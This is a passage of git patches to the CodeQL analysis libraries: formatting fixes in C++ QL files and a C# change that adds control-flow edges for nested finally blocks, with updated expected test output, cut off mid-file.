a/cpp/ql/src/DefaultOptions.qll +++ b/cpp/ql/src/DefaultOptions.qll @@ -59,10 +59,9 @@ class Options extends string { predicate exits(Function f) { f.getAnAttribute().hasName("noreturn") or - f - .hasGlobalOrStdName([ - "exit", "_exit", "abort", "__assert_fail", "longjmp", "__builtin_unreachable" - ]) + f.hasGlobalOrStdName([ + "exit", "_exit", "abort", "__assert_fail", "longjmp", "__builtin_unreachable" + ]) or CustomOptions::exits(f) // old Options.qll } diff --git a/cpp/ql/src/Security/CWE/CWE-457/InitializationFunctions.qll b/cpp/ql/src/Security/CWE/CWE-457/InitializationFunctions.qll index fa1ef79a0f2..1a186cc4c5e 100644 --- a/cpp/ql/src/Security/CWE/CWE-457/InitializationFunctions.qll +++ b/cpp/ql/src/Security/CWE/CWE-457/InitializationFunctions.qll @@ -189,8 +189,7 @@ class InitializationFunction extends Function { // Field wise assignment to the parameter any(Assignment e).getLValue() = getAFieldAccess(this.getParameter(i)) or i = - this - .(MemberFunction) + this.(MemberFunction) .getAnOverridingFunction+() .(InitializationFunction) .initializedParameter() or @@ -458,12 +457,9 @@ class ConditionalInitializationCall extends FunctionCall { fa.getASuccessor+() = result ) and result = - this - .getArgument(getTarget(this) - .(ConditionalInitializationFunction) - .conditionallyInitializedParameter(_)) - .(AddressOfExpr) - .getOperand() + this.getArgument(getTarget(this) + .(ConditionalInitializationFunction) + .conditionallyInitializedParameter(_)).(AddressOfExpr).getOperand() } Variable getStatusVariable() { diff --git a/cpp/ql/src/semmle/code/cpp/Function.qll b/cpp/ql/src/semmle/code/cpp/Function.qll index fdadc57259c..8e27dddae83 100644 --- a/cpp/ql/src/semmle/code/cpp/Function.qll +++ b/cpp/ql/src/semmle/code/cpp/Function.qll @@ -447,15 +447,13 @@ class Function extends Declaration, ControlFlowNode, AccessHolder, @function { else // Unless it's a function that we know is side-effect-free, it may // have side-effects. - not this - .hasGlobalOrStdName([ - "strcmp", "wcscmp", "_mbscmp", "strlen", "wcslen", "_mbslen", "_mbslen_l", - "_mbstrlen", "_mbstrlen_l", "strnlen", "strnlen_s", "wcsnlen", "wcsnlen_s", - "_mbsnlen", "_mbsnlen_l", "_mbstrnlen", "_mbstrnlen_l", "strncmp", "wcsncmp", - "_mbsncmp", "_mbsncmp_l", "strchr", "memchr", "wmemchr", "memcmp", "wmemcmp", - "_memicmp", "_memicmp_l", "feof", "isdigit", "isxdigit", "abs", "fabs", "labs", - "floor", "ceil", "atoi", "atol", "atoll", "atof" - ]) + not this.hasGlobalOrStdName([ + "strcmp", "wcscmp", "_mbscmp", "strlen", "wcslen", "_mbslen", "_mbslen_l", "_mbstrlen", + "_mbstrlen_l", "strnlen", "strnlen_s", "wcsnlen", "wcsnlen_s", "_mbsnlen", "_mbsnlen_l", + "_mbstrnlen", "_mbstrnlen_l", "strncmp", "wcsncmp", "_mbsncmp", "_mbsncmp_l", "strchr", + "memchr", "wmemchr", "memcmp", "wmemcmp", "_memicmp", "_memicmp_l", "feof", "isdigit", + "isxdigit", "abs", "fabs", "labs", "floor", "ceil", "atoi", "atol", "atoll", "atof" + ]) } /** diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index ae1bba7cd99..f6ad042cc72 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -640,8 +640,7 @@ module TaintedWithPath { override predicate hasLocationInfo( string filepath, int startline, int startcolumn, int endline, int endcolumn ) { - this - .inner() + this.inner() .getLocation() .hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll index 7c649fdd047..0baa27d8ab3 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll @@ -31,7 +31,9 @@ private class IteratorTraits extends Class { */ private class IteratorByTypedefs extends Iterator, Class { IteratorByTypedefs() { - this.getAMember().(TypedefType).hasName(["difference_type", "value_type", "pointer", "reference", "iterator_category"]) and + this.getAMember() + .(TypedefType) + .hasName(["difference_type", "value_type", "pointer", "reference", "iterator_category"]) and not this.hasQualifiedName("std", "iterator_traits") } } From 2f1057383eaf87d59c3ec7d993632143247b7d81 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Fri, 4 Dec 2020 13:18:31 +0100 Subject: [PATCH 0154/1241] C#: Add missing CFG edges for nested `finally` blocks --- .../controlflow/internal/Completion.qll | 67 +-- .../internal/ControlFlowGraphImpl.qll | 52 ++- .../csharp/controlflow/internal/Splitting.qll | 69 +-- .../controlflow/graph/ExitElement.expected | 402 +++++++++--------- .../controlflow/graph/NodeGraph.expected | 2 + .../library-tests/controlflow/graph/Nodes.ql | 4 +- 6 files changed, 311 insertions(+), 285 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll index 1db2329043b..34cc23791e0 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll @@ -23,11 +23,11 @@ import csharp private import semmle.code.csharp.commons.Assertions private import semmle.code.csharp.commons.Constants private import semmle.code.csharp.frameworks.System +private import ControlFlowGraphImpl private import NonReturning private import SuccessorType private import SuccessorTypes -// Internal representation of completions private newtype TCompletion = TSimpleCompletion() or TBooleanCompletion(boolean b) { b = true or b = false } or @@ -40,26 +40,33 @@ private newtype TCompletion = TGotoCompletion(string label) { label = any(GotoStmt gs).getLabel() } or TThrowCompletion(ExceptionClass ec) or TExitCompletion() or - TNestedCompletion(Completion inner, Completion outer) { - inner instanceof NormalCompletion and - ( - outer = TReturnCompletion() - or - outer = TBreakCompletion() - or - outer = TContinueCompletion() - or - outer = TGotoCompletion(_) - or - outer = TThrowCompletion(_) - or - outer = TExitCompletion() - ) - or + TNestedCompletion(Completion inner, Completion outer, int nestLevel) { inner = TBreakCompletion() and - outer instanceof NonNestedNormalCompletion + outer instanceof NonNestedNormalCompletion and + nestLevel = 0 + or + inner instanceof NormalCompletion and + nestedFinallyCompletion(outer, nestLevel) } +pragma[noinline] +private predicate nestedFinallyCompletion(Completion outer, int nestLevel) { + ( + outer = TReturnCompletion() + or + outer = TBreakCompletion() + or + outer = TContinueCompletion() + or + outer = TGotoCompletion(_) + or + outer = TThrowCompletion(_) + or + outer = TExitCompletion() + ) and + nestLevel = any(Statements::TryStmtTree t).nestLevel() +} + pragma[noinline] private predicate completionIsValidForStmt(Stmt s, Completion c) { s instanceof BreakStmt and @@ -674,21 +681,25 @@ class EmptinessCompletion extends ConditionalCompletion, TEmptinessCompletion { class NestedCompletion extends Completion, TNestedCompletion { Completion inner; Completion outer; + int nestLevel; - NestedCompletion() { this = TNestedCompletion(inner, outer) } + NestedCompletion() { this = TNestedCompletion(inner, outer, nestLevel) } /** Gets a completion that is compatible with the inner completion. */ Completion getAnInnerCompatibleCompletion() { result.getOuterCompletion() = this.getInnerCompletion() } + /** Gets the level of this nested completion. */ + int getNestLevel() { result = nestLevel } + override Completion getInnerCompletion() { result = inner } override Completion getOuterCompletion() { result = outer } override SuccessorType getAMatchingSuccessorType() { none() } - override string toString() { result = outer + " [" + inner + "]" } + override string toString() { result = outer + " [" + inner + "] (" + nestLevel + ")" } } /** @@ -725,13 +736,13 @@ class NestedBreakCompletion extends NormalCompletion, NestedCompletion { override BreakCompletion getInnerCompletion() { result = inner } - override SimpleCompletion getOuterCompletion() { result = outer } + override NonNestedNormalCompletion getOuterCompletion() { result = outer } override Completion getAnInnerCompatibleCompletion() { result = inner and outer = TSimpleCompletion() or - result = TNestedCompletion(outer, inner) + result = TNestedCompletion(outer, inner, _) } override SuccessorType getAMatchingSuccessorType() { @@ -749,7 +760,7 @@ class NestedBreakCompletion extends NormalCompletion, NestedCompletion { class ReturnCompletion extends Completion { ReturnCompletion() { this = TReturnCompletion() or - this = TNestedCompletion(_, TReturnCompletion()) + this = TNestedCompletion(_, TReturnCompletion(), _) } override ReturnSuccessor getAMatchingSuccessorType() { any() } @@ -768,7 +779,7 @@ class ReturnCompletion extends Completion { class BreakCompletion extends Completion { BreakCompletion() { this = TBreakCompletion() or - this = TNestedCompletion(_, TBreakCompletion()) + this = TNestedCompletion(_, TBreakCompletion(), _) } override BreakSuccessor getAMatchingSuccessorType() { any() } @@ -787,7 +798,7 @@ class BreakCompletion extends Completion { class ContinueCompletion extends Completion { ContinueCompletion() { this = TContinueCompletion() or - this = TNestedCompletion(_, TContinueCompletion()) + this = TNestedCompletion(_, TContinueCompletion(), _) } override ContinueSuccessor getAMatchingSuccessorType() { any() } @@ -807,7 +818,7 @@ class GotoCompletion extends Completion { GotoCompletion() { this = TGotoCompletion(label) or - this = TNestedCompletion(_, TGotoCompletion(label)) + this = TNestedCompletion(_, TGotoCompletion(label), _) } /** Gets the label of the `goto` completion. */ @@ -830,7 +841,7 @@ class ThrowCompletion extends Completion { ThrowCompletion() { this = TThrowCompletion(ec) or - this = TNestedCompletion(_, TThrowCompletion(ec)) + this = TNestedCompletion(_, TThrowCompletion(ec), _) } /** Gets the type of the exception being thrown. */ @@ -856,7 +867,7 @@ class ThrowCompletion extends Completion { class ExitCompletion extends Completion { ExitCompletion() { this = TExitCompletion() or - this = TNestedCompletion(_, TExitCompletion()) + this = TNestedCompletion(_, TExitCompletion(), _) } override ExitSuccessor getAMatchingSuccessorType() { any() } diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index 3a6c8e57725..958d17410e5 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -858,6 +858,7 @@ module Expressions { (cc.(MatchingCompletion).isNonMatch() or cc instanceof FalseCompletion) and c = any(NestedCompletion nc | + nc.getNestLevel() = 0 and nc.getInnerCompletion() = cc and nc.getOuterCompletion() .(ThrowCompletion) @@ -1300,6 +1301,13 @@ module Statements { last(cc.getBlock(), result, c) } + /** Gets a child of `cfe` that is in CFG scope `scope`. */ + pragma[noinline] + private ControlFlowElement getAChildInScope(ControlFlowElement cfe, Callable scope) { + result = cfe.getAChild() and + scope = result.getEnclosingCallable() + } + class TryStmtTree extends PreOrderTree, TryStmt { ControlFlowTree body; @@ -1307,6 +1315,39 @@ module Statements { child = this.getFinally() } + /** + * Gets a descendant that belongs to the `finally` block of this try statement. + */ + ControlFlowElement getAFinallyDescendant() { + result = this.getFinally() + or + exists(ControlFlowElement mid | + mid = this.getAFinallyDescendant() and + result = getAChildInScope(mid, mid.getEnclosingCallable()) and + not exists(TryStmtTree nestedTry | + result = nestedTry.getFinally() and + nestedTry != this + ) + ) + } + + /** + * Holds if `innerTry` has a `finally` block and is immediately nested inside the + * `finally` block of this `try` statement. + */ + private predicate nestedFinally(TryStmtTree innerTry) { + exists(ControlFlowElement innerFinally | + innerFinally = getAChildInScope(this.getAFinallyDescendant(), this.getEnclosingCallable()) and + innerFinally = innerTry.getFinally() + ) + } + + /** + * Gets the `finally`-nesting level of this `try` statement. That is, the number of + * `finally` blocks that this `try` statement is nested under. + */ + int nestLevel() { result = count(TryStmtTree outer | outer.nestedFinally+(this)) } + /** Holds if `last` is a last element of the block of this `try` statement. */ pragma[nomagic] predicate lastBlock(ControlFlowElement last, Completion c) { last(this.getBlock(), last, c) } @@ -1343,10 +1384,11 @@ module Statements { pragma[nomagic] private predicate lastFinally( - ControlFlowElement last, NormalCompletion finally, Completion outer + ControlFlowElement last, NormalCompletion finally, Completion outer, int nestLevel ) { this.lastFinally0(last, finally) and - exists(this.getBlockOrCatchFinallyPred(any(Completion c0 | outer = c0.getOuterCompletion()))) + exists(this.getBlockOrCatchFinallyPred(any(Completion c0 | outer = c0.getOuterCompletion()))) and + nestLevel = this.nestLevel() } final override predicate last(ControlFlowElement last, Completion c) { @@ -1360,13 +1402,14 @@ module Statements { c instanceof ExitCompletion ) or - this.lastFinally(last, c, any(NormalCompletion nc)) + this.lastFinally(last, c, any(NormalCompletion nc), _) or // If the `finally` block completes normally, it inherits any non-normal // completion that was current before the `finally` block was entered c = any(NestedCompletion nc | - this.lastFinally(last, nc.getAnInnerCompatibleCompletion(), nc.getOuterCompletion()) + this.lastFinally(last, nc.getAnInnerCompatibleCompletion(), nc.getOuterCompletion(), + nc.getNestLevel()) ) } @@ -1481,6 +1524,7 @@ module Statements { this.isLast() and c = any(NestedCompletion nc | + nc.getNestLevel() = 0 and this.throwMayBeUncaught(nc.getOuterCompletion().(ThrowCompletion)) and ( // Incompatible exception type: clause itself diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll index 55f9ed81f85..65e6363a81b 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll @@ -29,7 +29,7 @@ private module Cached { TInitializerSplitKind() or TConditionalCompletionSplitKind() or TAssertionSplitKind() or - TFinallySplitKind(int nestLevel) { nestLevel = FinallySplitting::nestLevel(_) } or + TFinallySplitKind(int nestLevel) { nestLevel = any(Statements::TryStmtTree t).nestLevel() } or TExceptionHandlerSplitKind() or TBooleanSplitKind(BooleanSplitting::BooleanSplitSubKind kind) { kind.startsSplit(_) } or TLoopSplitKind(LoopSplitting::AnalyzableLoopStmt loop) @@ -43,7 +43,7 @@ private module Cached { success in [false, true] } or TFinallySplit(FinallySplitting::FinallySplitType type, int nestLevel) { - nestLevel = FinallySplitting::nestLevel(_) + nestLevel = any(Statements::TryStmtTree t).nestLevel() } or TExceptionHandlerSplit(ExceptionClass ec) or TBooleanSplit(BooleanSplitting::BooleanSplitSubKind kind, boolean branch) { @@ -610,12 +610,6 @@ module AssertionSplitting { } } -pragma[noinline] -private ControlFlowElement getAChild(ControlFlowElement cfe, Callable c) { - result = cfe.getAChild() and - c = result.getEnclosingCallable() -} - module FinallySplitting { /** * The type of a split `finally` node. @@ -639,45 +633,14 @@ module FinallySplitting { } } - /** - * Gets a descendant that belongs to the `finally` block of try statement - * `try`. - */ - ControlFlowElement getAFinallyDescendant(TryStmt try) { - result = try.getFinally() - or - exists(ControlFlowElement mid | - mid = getAFinallyDescendant(try) and - result = getAChild(mid, mid.getEnclosingCallable()) and - not exists(TryStmt nestedTry | - result = nestedTry.getFinally() and - nestedTry != try - ) - ) - } - - /** - * Holds if `innerTry` has a `finally` block and is immediately nested inside the - * `finally` block of `outerTry`. - */ - private predicate nestedFinally(TryStmt outerTry, TryStmt innerTry) { - exists(ControlFlowElement innerFinally | - innerFinally = getAChild(getAFinallyDescendant(outerTry), outerTry.getEnclosingCallable()) and - innerFinally = innerTry.getFinally() - ) - } - - /** Gets the nesting level of the `finally` block for `try`. */ - int nestLevel(TryStmt try) { result = strictcount(TryStmt outer | nestedFinally*(outer, try)) } - /** A control flow element that belongs to a `finally` block. */ private class FinallyControlFlowElement extends ControlFlowElement { - private TryStmt try; + private Statements::TryStmtTree try; - FinallyControlFlowElement() { this = getAFinallyDescendant(try) } + FinallyControlFlowElement() { this = try.getAFinallyDescendant() } /** Gets the immediate `try` block that this node belongs to. */ - TryStmt getTryStmt() { result = try } + Statements::TryStmtTree getTryStmt() { result = try } /** Holds if this node is the entry node in the `finally` block it belongs to. */ predicate isEntryNode() { first(try.getFinally(), this) } @@ -685,7 +648,9 @@ module FinallySplitting { /** A control flow element that does not belong to a `finally` block. */ private class NonFinallyControlFlowElement extends ControlFlowElement { - NonFinallyControlFlowElement() { not this = getAFinallyDescendant(_) } + NonFinallyControlFlowElement() { + not this = any(Statements::TryStmtTree t).getAFinallyDescendant() + } } /** @@ -727,8 +692,8 @@ module FinallySplitting { if type instanceof NormalSuccessor then result = "" else - if nestLevel > 1 - then result = "finally(" + nestLevel + "): " + type.toString() + if nestLevel > 0 + then result = "finally(" + (nestLevel + 1) + "): " + type.toString() else result = "finally: " + type.toString() } } @@ -759,7 +724,7 @@ module FinallySplitting { ControlFlowElement pred, FinallyControlFlowElement succ, int nestLevel, Completion c ) { succ.isEntryNode() and - nestLevel = nestLevel(succ.getTryStmt()) and + nestLevel = succ.getTryStmt().nestLevel() and succ(pred, succ, c) } @@ -783,9 +748,11 @@ module FinallySplitting { } pragma[noinline] - private predicate exit0(ControlFlowElement pred, TryStmt try, int nestLevel, Completion c) { + private predicate exit0( + ControlFlowElement pred, Statements::TryStmtTree try, int nestLevel, Completion c + ) { this.appliesToPredecessor(pred) and - nestLevel = nestLevel(try) and + nestLevel = try.nestLevel() and last(try, pred, c) } @@ -821,7 +788,7 @@ module FinallySplitting { ) ) or - // If this split is normal, and an outer split can exit based on a inherited + // If this split is normal, and an outer split can exit based on an inherited // completion, we need to exit this split as well. For example, in // // ```csharp @@ -881,10 +848,10 @@ module FinallySplitting { if fcfe.isEntryNode() then // entering a nested `finally` block - nestLevel(fcfe.getTryStmt()) > this.getNestLevel() + fcfe.getTryStmt().nestLevel() > this.getNestLevel() else // staying in the same (possibly nested) `finally` block as `pred` - nestLevel(fcfe.getTryStmt()) >= this.getNestLevel() + fcfe.getTryStmt().nestLevel() >= this.getNestLevel() ) } } diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 33a974b23ec..c8b10cfa4da 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -847,9 +847,9 @@ | BreakInTry.cs:5:9:17:9 | try {...} ... | BreakInTry.cs:15:17:15:28 | ... == ... | false | | BreakInTry.cs:5:9:17:9 | try {...} ... | BreakInTry.cs:16:17:16:17 | ; | normal | | BreakInTry.cs:6:9:12:9 | {...} | BreakInTry.cs:7:13:11:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:6:9:12:9 | {...} | BreakInTry.cs:10:21:10:26 | break; | normal [break] | +| BreakInTry.cs:6:9:12:9 | {...} | BreakInTry.cs:10:21:10:26 | break; | normal [break] (0) | | BreakInTry.cs:7:13:11:13 | foreach (... ... in ...) ... | BreakInTry.cs:7:13:11:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:7:13:11:13 | foreach (... ... in ...) ... | BreakInTry.cs:10:21:10:26 | break; | normal [break] | +| BreakInTry.cs:7:13:11:13 | foreach (... ... in ...) ... | BreakInTry.cs:10:21:10:26 | break; | normal [break] (0) | | BreakInTry.cs:7:26:7:28 | String arg | BreakInTry.cs:7:26:7:28 | String arg | normal | | BreakInTry.cs:7:33:7:36 | access to parameter args | BreakInTry.cs:7:33:7:36 | access to parameter args | normal | | BreakInTry.cs:8:13:11:13 | {...} | BreakInTry.cs:9:21:9:31 | ... == ... | false | @@ -872,17 +872,17 @@ | BreakInTry.cs:16:17:16:17 | ; | BreakInTry.cs:16:17:16:17 | ; | normal | | BreakInTry.cs:21:5:36:5 | {...} | BreakInTry.cs:35:7:35:7 | ; | normal | | BreakInTry.cs:22:9:34:9 | foreach (... ... in ...) ... | BreakInTry.cs:22:9:34:9 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:22:9:34:9 | foreach (... ... in ...) ... | BreakInTry.cs:31:21:31:32 | ... == ... | false [break] | -| BreakInTry.cs:22:9:34:9 | foreach (... ... in ...) ... | BreakInTry.cs:32:21:32:21 | ; | normal [break] | +| BreakInTry.cs:22:9:34:9 | foreach (... ... in ...) ... | BreakInTry.cs:31:21:31:32 | ... == ... | false [break] (0) | +| BreakInTry.cs:22:9:34:9 | foreach (... ... in ...) ... | BreakInTry.cs:32:21:32:21 | ; | normal [break] (0) | | BreakInTry.cs:22:22:22:24 | String arg | BreakInTry.cs:22:22:22:24 | String arg | normal | | BreakInTry.cs:22:29:22:32 | access to parameter args | BreakInTry.cs:22:29:22:32 | access to parameter args | normal | -| BreakInTry.cs:23:9:34:9 | {...} | BreakInTry.cs:31:21:31:32 | ... == ... | break [false] | +| BreakInTry.cs:23:9:34:9 | {...} | BreakInTry.cs:31:21:31:32 | ... == ... | break [false] (0) | | BreakInTry.cs:23:9:34:9 | {...} | BreakInTry.cs:31:21:31:32 | ... == ... | false | -| BreakInTry.cs:23:9:34:9 | {...} | BreakInTry.cs:32:21:32:21 | ; | break [normal] | +| BreakInTry.cs:23:9:34:9 | {...} | BreakInTry.cs:32:21:32:21 | ; | break [normal] (0) | | BreakInTry.cs:23:9:34:9 | {...} | BreakInTry.cs:32:21:32:21 | ; | normal | -| BreakInTry.cs:24:13:33:13 | try {...} ... | BreakInTry.cs:31:21:31:32 | ... == ... | break [false] | +| BreakInTry.cs:24:13:33:13 | try {...} ... | BreakInTry.cs:31:21:31:32 | ... == ... | break [false] (0) | | BreakInTry.cs:24:13:33:13 | try {...} ... | BreakInTry.cs:31:21:31:32 | ... == ... | false | -| BreakInTry.cs:24:13:33:13 | try {...} ... | BreakInTry.cs:32:21:32:21 | ; | break [normal] | +| BreakInTry.cs:24:13:33:13 | try {...} ... | BreakInTry.cs:32:21:32:21 | ; | break [normal] (0) | | BreakInTry.cs:24:13:33:13 | try {...} ... | BreakInTry.cs:32:21:32:21 | ; | normal | | BreakInTry.cs:25:13:28:13 | {...} | BreakInTry.cs:26:21:26:31 | ... == ... | false | | BreakInTry.cs:25:13:28:13 | {...} | BreakInTry.cs:27:21:27:26 | break; | break | @@ -903,13 +903,13 @@ | BreakInTry.cs:31:29:31:32 | null | BreakInTry.cs:31:29:31:32 | null | normal | | BreakInTry.cs:32:21:32:21 | ; | BreakInTry.cs:32:21:32:21 | ; | normal | | BreakInTry.cs:35:7:35:7 | ; | BreakInTry.cs:35:7:35:7 | ; | normal | -| BreakInTry.cs:39:5:54:5 | {...} | BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | return [empty] | -| BreakInTry.cs:39:5:54:5 | {...} | BreakInTry.cs:50:21:50:26 | break; | return [normal] | +| BreakInTry.cs:39:5:54:5 | {...} | BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | return [empty] (0) | +| BreakInTry.cs:39:5:54:5 | {...} | BreakInTry.cs:50:21:50:26 | break; | return [normal] (0) | | BreakInTry.cs:39:5:54:5 | {...} | BreakInTry.cs:53:7:53:7 | ; | normal | | BreakInTry.cs:40:9:52:9 | try {...} ... | BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:40:9:52:9 | try {...} ... | BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | return [empty] | -| BreakInTry.cs:40:9:52:9 | try {...} ... | BreakInTry.cs:50:21:50:26 | break; | normal [break] | -| BreakInTry.cs:40:9:52:9 | try {...} ... | BreakInTry.cs:50:21:50:26 | break; | return [normal] | +| BreakInTry.cs:40:9:52:9 | try {...} ... | BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | return [empty] (0) | +| BreakInTry.cs:40:9:52:9 | try {...} ... | BreakInTry.cs:50:21:50:26 | break; | normal [break] (0) | +| BreakInTry.cs:40:9:52:9 | try {...} ... | BreakInTry.cs:50:21:50:26 | break; | return [normal] (0) | | BreakInTry.cs:41:9:44:9 | {...} | BreakInTry.cs:42:17:42:28 | ... == ... | false | | BreakInTry.cs:41:9:44:9 | {...} | BreakInTry.cs:43:17:43:23 | return ...; | return | | BreakInTry.cs:42:13:43:23 | if (...) ... | BreakInTry.cs:42:17:42:28 | ... == ... | false | @@ -920,9 +920,9 @@ | BreakInTry.cs:42:25:42:28 | null | BreakInTry.cs:42:25:42:28 | null | normal | | BreakInTry.cs:43:17:43:23 | return ...; | BreakInTry.cs:43:17:43:23 | return ...; | return | | BreakInTry.cs:46:9:52:9 | {...} | BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:46:9:52:9 | {...} | BreakInTry.cs:50:21:50:26 | break; | normal [break] | +| BreakInTry.cs:46:9:52:9 | {...} | BreakInTry.cs:50:21:50:26 | break; | normal [break] (0) | | BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | BreakInTry.cs:50:21:50:26 | break; | normal [break] | +| BreakInTry.cs:47:13:51:13 | foreach (... ... in ...) ... | BreakInTry.cs:50:21:50:26 | break; | normal [break] (0) | | BreakInTry.cs:47:26:47:28 | String arg | BreakInTry.cs:47:26:47:28 | String arg | normal | | BreakInTry.cs:47:33:47:36 | access to parameter args | BreakInTry.cs:47:33:47:36 | access to parameter args | normal | | BreakInTry.cs:48:13:51:13 | {...} | BreakInTry.cs:49:21:49:31 | ... == ... | false | @@ -936,13 +936,13 @@ | BreakInTry.cs:50:21:50:26 | break; | BreakInTry.cs:50:21:50:26 | break; | break | | BreakInTry.cs:53:7:53:7 | ; | BreakInTry.cs:53:7:53:7 | ; | normal | | BreakInTry.cs:57:5:71:5 | {...} | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:57:5:71:5 | {...} | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | return [empty] | -| BreakInTry.cs:57:5:71:5 | {...} | BreakInTry.cs:68:21:68:26 | break; | normal [break] | -| BreakInTry.cs:57:5:71:5 | {...} | BreakInTry.cs:68:21:68:26 | break; | return [normal] | +| BreakInTry.cs:57:5:71:5 | {...} | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | return [empty] (0) | +| BreakInTry.cs:57:5:71:5 | {...} | BreakInTry.cs:68:21:68:26 | break; | normal [break] (0) | +| BreakInTry.cs:57:5:71:5 | {...} | BreakInTry.cs:68:21:68:26 | break; | return [normal] (0) | | BreakInTry.cs:58:9:70:9 | try {...} ... | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:58:9:70:9 | try {...} ... | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | return [empty] | -| BreakInTry.cs:58:9:70:9 | try {...} ... | BreakInTry.cs:68:21:68:26 | break; | normal [break] | -| BreakInTry.cs:58:9:70:9 | try {...} ... | BreakInTry.cs:68:21:68:26 | break; | return [normal] | +| BreakInTry.cs:58:9:70:9 | try {...} ... | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | return [empty] (0) | +| BreakInTry.cs:58:9:70:9 | try {...} ... | BreakInTry.cs:68:21:68:26 | break; | normal [break] (0) | +| BreakInTry.cs:58:9:70:9 | try {...} ... | BreakInTry.cs:68:21:68:26 | break; | return [normal] (0) | | BreakInTry.cs:59:9:62:9 | {...} | BreakInTry.cs:60:17:60:28 | ... == ... | false | | BreakInTry.cs:59:9:62:9 | {...} | BreakInTry.cs:61:17:61:23 | return ...; | return | | BreakInTry.cs:60:13:61:23 | if (...) ... | BreakInTry.cs:60:17:60:28 | ... == ... | false | @@ -953,9 +953,9 @@ | BreakInTry.cs:60:25:60:28 | null | BreakInTry.cs:60:25:60:28 | null | normal | | BreakInTry.cs:61:17:61:23 | return ...; | BreakInTry.cs:61:17:61:23 | return ...; | return | | BreakInTry.cs:64:9:70:9 | {...} | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:64:9:70:9 | {...} | BreakInTry.cs:68:21:68:26 | break; | normal [break] | +| BreakInTry.cs:64:9:70:9 | {...} | BreakInTry.cs:68:21:68:26 | break; | normal [break] (0) | | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | empty | -| BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | BreakInTry.cs:68:21:68:26 | break; | normal [break] | +| BreakInTry.cs:65:13:69:13 | foreach (... ... in ...) ... | BreakInTry.cs:68:21:68:26 | break; | normal [break] (0) | | BreakInTry.cs:65:26:65:28 | String arg | BreakInTry.cs:65:26:65:28 | String arg | normal | | BreakInTry.cs:65:33:65:36 | access to parameter args | BreakInTry.cs:65:33:65:36 | access to parameter args | normal | | BreakInTry.cs:66:13:69:13 | {...} | BreakInTry.cs:67:21:67:31 | ... == ... | false | @@ -980,14 +980,14 @@ | CompileTimeOperators.cs:22:9:22:25 | return ...; | CompileTimeOperators.cs:22:9:22:25 | return ...; | return | | CompileTimeOperators.cs:22:16:22:24 | nameof(...) | CompileTimeOperators.cs:22:16:22:24 | nameof(...) | normal | | CompileTimeOperators.cs:22:23:22:23 | access to parameter i | CompileTimeOperators.cs:22:23:22:23 | access to parameter i | normal | -| CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | goto(End) [normal] | -| CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(Exception) [normal] | -| CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | goto(End) [normal] (0) | +| CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | 